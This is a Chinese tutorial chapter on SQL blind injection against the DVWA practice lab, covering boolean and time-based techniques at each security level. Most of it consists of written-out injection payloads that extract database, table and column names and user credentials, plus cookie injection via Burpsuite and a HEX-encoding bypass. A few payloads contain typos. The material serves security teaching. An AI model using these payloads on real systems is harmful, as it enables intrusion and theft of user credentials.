6.1 SQL 盲注的分类

上一章介绍了按照注入类型，SQL 注入可以分为普通注入和盲注。当注入的页面无法直接显示数据内容，就只能靠盲注来猜解。盲注又可以具体分为布尔型盲注和延时型盲注。

布尔型盲注是指注入页面中没有直接显示数据内容，但会显示输出的结果对还是错，查询的数据有还是没有。比如输入的 ID 值查询到有该记录，就在页面上显示该记录存在；如果输入的 ID 值不存在，页面上就显示记录不存在，除此之外没有任何更多的信息，我们通过注入构造的任何 SQL 语句也只能返回存在或者不存在两种结果。通过返回结果的对或错来判断构造的 SQL 语句是否成立，这种盲注方式就是布尔型盲注。

对于某些 SQL 注入页面，可能页面中任何信息都不返回，甚至连记录是否存在都不告诉你，这时布尔型盲注也就无效了。但是基于 sleep() 函数可以实现延时查询，我们可以构造一个判断语法，如果返回结果为真，则延时 5 秒再进行查询操作。那么我们就可以通过观察提交 SQL 注入语句后，页面响应是否有延时卡顿，来判断我们构造的 SQL 语句是否成立。这种盲注方式就称为延时型盲注。

6.2 Low 级别 SQL 盲注攻击实战

6.2.1 布尔型盲注

  1. 设置安全级别为 Low，点击 SQL Injection (Blind) 按钮进入 SQL 盲注攻击模块，随便输入 ID 值，发现只返回一个结果 User ID exists in the database，告诉我们该 ID 存在，没有显示关于该 User 的任何信息，如图 6-1。说明该页面只能通过盲注来攻击
    6. SQL 盲注攻击实战 - 图1
    图 6-1

  2. 文本框中输入 1 and 1=1 和 1 and 1=2 都返回结果 exists，说明不是数字型注入点，如图 6-2，图 6-3
    6. SQL 盲注攻击实战 - 图2
    图 6-2
    6. SQL 盲注攻击实战 - 图3
    图 6-3

  3. 在文本框中输入 1' and 1=1#，返回结果 exists，如图 6-4，输入 1' and 1=2#，返回结果 MISSING，说明存在 SQL 注入漏洞，为字符型，如图 6-5
    6. SQL 盲注攻击实战 - 图4
    图 6-4
    6. SQL 盲注攻击实战 - 图5
    图 6-5

  4. 在文本框中输入 1' and length(database())=1#，返回结果 MISSING，说明当前数据库名长度大于 1 个字符，截图略

    1. length(database())

  1. 逐个猜测数据库名字长度，直到输入 1' and length(database())=4# 时，返回结果 exists，说明当前数据库名长度为 4 字符，截图略

  2. 在文本框中输入 1' and ascii(substr(database(),1,1))>97#，返回结果 exists，输入 1' and acsii(substr(database(),1,1))<122#，返回结果 exists，说明数据库名的第一位字符是小写字母。（小写字母 a 的 ASCII 码为 97，小写字母 z 的 ASCII 码为 122），截图略

    1. substr(database(),1,1)       
    2. ascii()

  1. 通过增加数字 97 来逐步缩小范围，直到输入 1' and ascii(substr(database(),1,1))>100#，返回结果 MISSING，说明数据库名的第一个字符的 ASCII 码正好是 100，也就是小写字母 d，截图略

  2. 在文本框中输入 1' and ascii(substr(database(),2,1))<119#，返回结果 exists，输入 1' and ascii(substr(database(),2,1))<118#，返回结果 MISSING，说明第二位字符是小写字母 v，截图略

  3. 使用相同的方法，最终可以猜测出数据库名为 dvwa

  4. 在文本框中输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#，返回结果 MISSING，输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#，返回结果 exists，说明当前数据库中存在 2 张表，截图略

  5. 在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#，返回结果 MISSING，逐步增大猜测数字，直到猜测数字 9，返回结果 exists。最后得知数据库中第一张表名长度为 9 字符，截图略

    1. select table_name from information_schema.tables where table_schema=database() limit 0,1
    2. //查询当前数据库中的表名，只取第 0 和第 1 条记录之间的记录，也就是查询出的第一张表名
  1. 在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=1#，返回结果 MISSING，逐步增大猜测数字，直到猜测数字 5，返回结果 exists。最后得知数据库中第二张表名长度为 5 字符，截图略
    1. select table_name from information_schema.tables where table_schema=database() limit 1,2
    2. //查询当前数据库中的表名，只取第 1 和第 2 条之间的记录，也就是查询出的第二张表名

  1. 在文本框中输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#，返回结果 exists，输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#，返回结果 exists，说明第一张表名的第一位字符为小写字母 (原理同第 6 步)

  2. 逐步缩小范围，最终可确认第一张表名的第一位字符为字母 g。输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#，猜解第一张表名的第二位字符，过程略

  3. 输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97#，猜解第二张表名的第一位字符。重复上述步骤最终可猜解出两个表名分别为 guestbook 和 users，过程略

  4. 输入 1 and (select count(column_name) from information_schema.columns where table_name='users')=1 #，来猜解 users 表中的字段数量，通过不断加大猜解数字来缩小范围，最终确定字段数量，过程略

  5. 输入 1'and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1 #，猜解 users 表中第一个字段名的长度，过程略

  6. 输入 1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))<97#，猜解表中第一个字段名的第一位字符内容，原理同上，过程略

  7. 最终猜解出存在 user 和 password 字段，原理同上，过程略

  8. 输入 1' and ascii(substr((select user from users limit 0,1),1,1))<97#，来猜解第一个用户的用户名的第一位字符内容。最终可以猜解出所有用户的用户名和密码密文，原理同上，过程略

6.2.2 延时型盲注

  1. 在文本框输入 1' and sleep(5)#，页面响应有明显延时，输入 1 and sleep(5)，页面响应迅速，说明该注入点为字符型

  2. 在文本框输入 1' and if(length(database())=1,sleep(5),1)#，页面没有延时，说明 length(database())=1 结果为假，当前数据库名长度不为 1；逐步增加猜测数字，直到输入 1' and if(length(database())=4,sleep(5),1)#，页面延时，说明当前数据库名长度为 4

  3. 在文本框输入 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#，页面延时；输入 1' and if(ascii(substr(database(),1,1))<9122,sleep(5),1)#，页面没有延时，说明当前数据库名第一个字符为小写字母，原理同布尔型盲注。逐渐缩小猜解范围，页面有延时说明猜解正确，页面无延时说明猜解错误，最终可猜解出数据库名第一个字符内容为 d

  4. 后续步骤思路与布尔型盲注一致，只需要按照语法把要猜解的条件代入，再根据页面响应是否出现延时来判断构造的 SQL 注入语句是否成立，就可以逐步猜解出需要查询的数据库信息，过程略。注入语法如下：

    1. 1' and if (要猜解的条件,sleep(5),1)#

6.3 Medium 级别 SQL 盲注攻击实战

  1. 设置安全级别为 Medium，在 SQL 盲注攻击界面看到与 SQL 注入攻击的 Medium 级别一样，只给出了选择框，没有给用户输入信息的地方。且提交后 URL 没有携带任何信息，说明页面提交方式为 POST。基于上述判断，需要使用 Burpsuite 来构造数据包，如图 6-6
    6. SQL 盲注攻击实战 - 图6
    图 6-6

  2. 查看页面源码，发现也与 SQL 注入攻击的 Medium 级别一样，使用了 mysqli_real_escape_string 函数，如图 6-7，对引号进行转义，会导致带引号的 SQL 注入参数出错。
    6. SQL 盲注攻击实战 - 图7
    图 6-7

  3. 根据上一章节 Medium 级别 SQL 注入的绕过方法，该级别的 SQL 盲注只需要在 Low 级别的基础上使用 Burpsuite 拦截数据包来添加注入信息，并把凡带有引号的值进行 HEX 编码，就可以成功绕过限制，过程略

6.4 High 级别 SQL 盲注攻防

  1. 安全级别设置为 High，在 SQL 盲注攻击页面看到与 SQL 注入攻击的 High 级别一样，把提交信息的页面和输出结果的页面进行了分离来防御 SQLMap 等工具的自动化注入，如图 6-8
    6. SQL 盲注攻击实战 - 图8
    图 6-8

  2. 查看页面源码，发现变更为使用 cookie 来传递 ID 值，加入了 LIMIT 1，来限制查询更多的数据，并通过 sleep() 函数来造成查询不到数据时随机延时，从而扰乱基于延时的 SQL 盲注，如图 6-9
    6. SQL 盲注攻击实战 - 图9
    图 6-9

  3. 对于使用 cookie 来传递 ID 值，我们可以使用 Burpsuite 抓包来修改 cookie；对于 LIMIT 1，使用 # 注释掉；对于 sleep() 函数，正常使用布尔型盲注就可以了

  4. 设置好 Burpsuite 和浏览器的代理，随便输入一个 ID 值，拦截数据包后，第一个数据包正常放行，修改第二个数据包，在 cookie:id=1 后加入 ' and length(database())=1#，返回结果 MISSING，如图 6-10，图 6-11；加入 ' and length(database())=4#，返回结果 exists，如图 6-12，图 6-13。发现可以成功注入，并猜解出当前数据库名的长度为 4
    6. SQL 盲注攻击实战 - 图10
    图 6-10
    6. SQL 盲注攻击实战 - 图11
    图 6-10
    6. SQL 盲注攻击实战 - 图12
    图 6-11
    6. SQL 盲注攻击实战 - 图13
    图 6-12

  5. 后续猜解步骤思路与 Low 级别一致，只需要在 Burpsuite 中对 cookie 值进行注入即可

6.5 Impossible 级别 SQL 盲注攻击

设置安全级别为 Impossible，查看 SQL 盲注页面源码，发现使用了 PDO 技术，几乎彻底杜绝了 SQL 注入；另外还使用了 Anti-CSRF token 机制，使用随机 token 来阻止自动化注入。该防御机制下，SQL 盲注几乎无法实现，如图 6-13

6. SQL 盲注攻击实战 - 图14

图 6-13
http://www.dengfm.com/15618747213073.html